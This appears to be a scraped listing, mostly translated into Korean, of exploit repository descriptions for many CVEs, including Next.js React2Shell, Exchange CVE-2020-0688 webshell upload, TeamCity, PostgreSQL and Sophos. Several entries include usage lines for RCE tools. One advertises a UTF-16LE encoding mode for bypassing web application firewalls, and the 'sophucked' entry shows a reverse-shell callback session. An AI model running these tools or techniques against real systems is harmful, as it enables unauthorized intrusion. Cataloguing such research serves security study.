RCE-Exploit-Bolt-3.7.0-CVE-2020-4040-4041

이 저장소에는 README가 없습니다...

NSE_CVE-2025-55182

NSECVE-2025-55182 React2ShellCVE-2025-55182 스캔을 위한 Nmap NSE 스크립트 면책 조항 다음 코드는 교육 및 연구 목적으로만 제공됩니다. 이 스크립트의 사용은 전적으로 사용자의 판단과 책임 하에 이루어집니다. 이 스캐너는 오탐false positive 또는 불확실한 결과를 생성할 수 있으므로, 사용자는 보고된 결과를 검증하고 확인해야 합니다. 작성자는 이 코드 실행으로 인한 오용, 손해 또는 의도하지 않은 결과에 대해 어떠한 책임도 지지 않습니다. 이 도구는 명시적 허가를 받은 환경에서만...

CVE-2010-5301

CVE-2010-5301 SEH 오버플로우와 임의 DLL 주입의 개념 증명 설명 Kolibrì HTTP Server 2.0은 스택 기반 버퍼 오버플로우 의 영향을 받습니다. 발견 당시 이 취약점은 스택에 배치된 셸코드를 가리키는 ESP에 JMP ESP 명령어로 명령 포인터를 덮어씌우는 방식으로 악용되었습니다. 이후 더 큰 페이로드를 보내면 SEH 체인을 덮어쓸 수 있다는 것이 발견되었습니다. 그러나 애플리케이션에는 SE 핸들러가 다음 SEH 레코드를 가리키도록 하는 유효한 POP - POP - RET 명령어가 없습니다. 이는 ...

CVE-2023-36164

CVE-2023-36164 MiniTool Partition Wizard ShadowMaker v.12.7의 문제로 인해 공격자가 MTAgentService 구성 요소를 통해 임의 코드를 실행할 수 있습니다. 익스플로잇 제목: MiniTool Partition Wizard ShadowMaker v.12.7 - Unquoted Service Path 날짜: 05/08/2023 익스플로잇 작성자: Idan Malihi 공급업체 홈페이지: https://www.minitool.com/ 소프트웨어 링크:...

day06-foxcms-rce

Day06 — FoxCMS 스타일 RCE CVE-2025-29306 — 교육용 랩 이 작은 랩은 CVE-2025-29306 의 핵심 개념을 재현합니다. 즉, 공격자가 제어하는 입력에 unserialize을 안전하지 않게 사용하여 원격 코드 실행으로 이어지는 것입니다. 이는 최소한의, 의도적으로 취약하게 설계된 교육용 복제본입니다 — FoxCMS 자체가 아닙니다. 빠른 시작 chmod +x entrypoint.sh docker build -t day6-foxcms . docker run --rm -d -p 8080:80 --na...

cve-2020-0688-webshell-upload-technique

Exchange 원격 코드 실행 CVE-2020-0688 - RED TEAM MODE ON 필요: python3+ UNIVERSAL CVE-2020-0688에 대한 Python 구현, ASPX 웹쉘을 사용하여 사용자 정의 명령 출력 이것은 보안상의 이유로 취약점 시연을 용이하게 하기 위한 POC일 뿐입니다. 저는 모든 불법적인 행위를 반대하며, 이 스크립트로 인해 발생하는 모든 행위에 대해 책임을 지지 않습니다...

NextRce

NextRce - Next.js RSC 익스플로잇 도구 CVE-2025-55182 Next.js App Router를 위한 고급 취약점 스캐너 및 익스플로잇 도구 개발자:Mitsec 🔥 새로운 기능: WAF 우회 모드 UTF-16LE childprocess나 execSync 같은 키워드를 포함한 일반적인 페이로드는 종종 웹 애플리케이션 방화벽WAF에 의해 차단됩니다. NextRCSWaff.py 는 특수 제작된 UTF-16LE Little Endian 인코딩 엔진을 활용합니다. 악성 페이로드를 이 특정 형식으로 인코딩하면 바이트...

CVE-2019-9193

CVE-2019–9193 - PostgreSQL 9.3-12.3 인증된 원격 코드 실행 개념 증명 PostgreSQL 데이터베이스 버전 9.3에서 12.3최신 테스트까지 인증된 원격 코드 실행에 취약합니다. 개발 팀에서 자체적으로 취약점으로 간주하지 않더라도, 이를 악용하여 잘못 구성된 시스템에 접근할 수 있습니다. 도움말 메뉴 익스플로잇 예시 참고 자료 NVD: https://nvd.nist.gov/vuln/detail/CVE-2019-9193 CVE Details:...

CVE-2023-0297

pyloadCVE-2023-0297poc pyLoad 0.5.0b3.dev31 이전 버전의 코드 삽입 취약점으로, js2py의 기능을 악용하여 사전 인증pre-auth RCE가 발생합니다. 사용법 CVE-2023-0297poc.exe 사용법: -f string fileName:IP.txt -u string example:http://127.0.0.1:8080...

CVE-2020-8163

CVE-2020-8163 CVE-2020-8163의 환경 및 익스플로잇: Rails 5.0.1 및 4.2.11.2에서 사용자가 제공한 로컬 이름을 통한 블라인드 원격 코드 실행 환경 구성 1. 포트 4000을 8001에 매핑하여 도커 컨테이너 생성 sudo docker run --rm -it -p 8001:4000 ruby:2.3 bash 2. 컨테이너 내부에서 일부 도구 업데이트 및 설치 apt update && apt install unzip libz-dev libiconv-hook1 libiconv-hook-dev...

cve-2026-42945

CVE-2026-42945 — NGINX リライトヒープオーバーラン: 分析、DoS、およびクレジット付きRCE移植 CVE-2026-42945 （CVSS 4.0 9.2 CRITICAL ）に関するセキュリティ研究: NGINXのスクリプトエンジンにおけるヒープバッファオーバーランで、置換文字列に引数を含むrewrite（例: rewrite ^. /new?c=1;）がエンジンのisargsフラグを設定したままクリアしないため、その後にset/ifで評価される任意のキャプチャ（$1）が、エスケープされていない 長さ用にサイズ設定されたバッファにURIエスケープ付きで...

cve-2021-33879

CVEID : CVE-2021-33879 영향을 받는 제품 및 버전 : GameLoop 4.1.21.90 이전의 모든 버전 취약점 유형 : CWE-494: 무결성 검사 없는 코드 다운로드 요약 GameLoop는 Tencent가 개발한 Android 에뮬레이터입니다. 이 에뮬레이터에는 암호화되거나 인증되지 않은 업데이트 메커니즘이 있습니다이 공격에서 공격자가 제어할 수 있는 MD5 해시로만 보호됨. 따라서 MITM 위치에 있는 공격자가 업데이트 패키지를 가로채고 자신의 업데이트 패키지를 보내 피해자 머신에서 실행되게 할 수...

CVE-2021-21300

CVE-2021-21300 그냥 클론하세요 그러면 당신의 머신이 "PWNED"를 출력할 것입니다. 참고:https://www.openwall.com/lists/oss-security/2021/03/09/3...

CVE-2025-68613-n8n-rce-analysis

매트릭스...

cve-2025-55182-node

CVE-2025-55182 Next.js RCE 익스플로잇 도구 中文文档 | 漏洞原理分析 !CAUTION ⚠️ 면책 조항 - 사용 전 읽어주세요 이 도구는 다음 용도로만 사용해야 합니다: 보안 연구원의 취약점 검증 명시적 허가를 받은 공인된 침투 테스트 교육 및 학습 목적 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 이 도구를 사용함으로써 다음 사항에 동의하는 것으로 간주됩니다: 1. 시스템을 테스트하기 전에 적절한 승인을 받았습니다. 2. 이 도구를 악의적인 목적으로 사용하지 않습니다. 3. 본인의 행동과 그로 인한 모든...

CVE-2023-42793

CVE-2023-42793 교육 목적으로만 제공됩니다 CVE-2023-42793용 PoC CVE-2023-42793admin.sh 사용법: chmod +x CVE-2023-42793admin.sh ./CVE-2023-42793admin.sh ip/domainname port 작동 증명: CVE-2023-42793rce.sh 사용법: chmod +x CVE-2023-42793rce.sh ./CVE-2023-42793rce.sh ip/domainname port command 작동 증명:...

dubiousdisk

dubious disk - secure boot에 매우 효과적인 포리곤-Z! CVE-2022-30203, CVE-2023-21560, CVE-2023-28269, CVE-2023-28249, 그리고 더... Windows 부팅 환경의 과도하게 허용적인 코드로 인해 임의의 메모리를 덮어쓸 수 있으며, 따라서 임의의 코드 실행이 가능합니다. Exploitro는 Field-FX 2024 와일드 컴포에서 3위를 차지했습니다. 코드: Rairii 엔진 코드: NoNameNo XM 플레이어: a1k0n 리메이크된 TopazPlus 폰트:...

react2shellpoc

이 저장소는 특정 부류의 React Server Component 취약점이 통제된 합법적 교육 환경 내에서 어떻게 동작하는지 보여주는 개념 증명proof-of-concept을 포함하고 있습니다. 매뉴얼 ┌──kali㉿kali-/Documents/tools/2025-55182 └─$ python exploit.py -h /\ /\ /\ /\ /\ /\ || CVE-2025-55182 React Server Components RCE usage: exploit.py -h -t URL -c CMD options: -h, --help...

CVE-2023-23333

CVE-2023-23333 SolarView Compact 6.00 이하 버전의 downloader.php 명령어 삽입 RCE nuclei-templates Burp Nuclei...

sophucked

sophucked CVE-2020-25223 RCE PoC, 역방향 셸 획득. 사전 인증 없음. 일부 위협 요소를 통합하기 위해 급히 구현했습니다. 예제 사용법: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + 포트 80에서 핸들러 시작 + 콜백을 x.x.x.x:80으로 전송 + x.x.x.x에서 연결됨 + 셸 획득! bash: 이 셸에서는 작업 제어 불가 utm:/var/confd unset HISTFILE unset HISTFILE utm:/var/confd id id...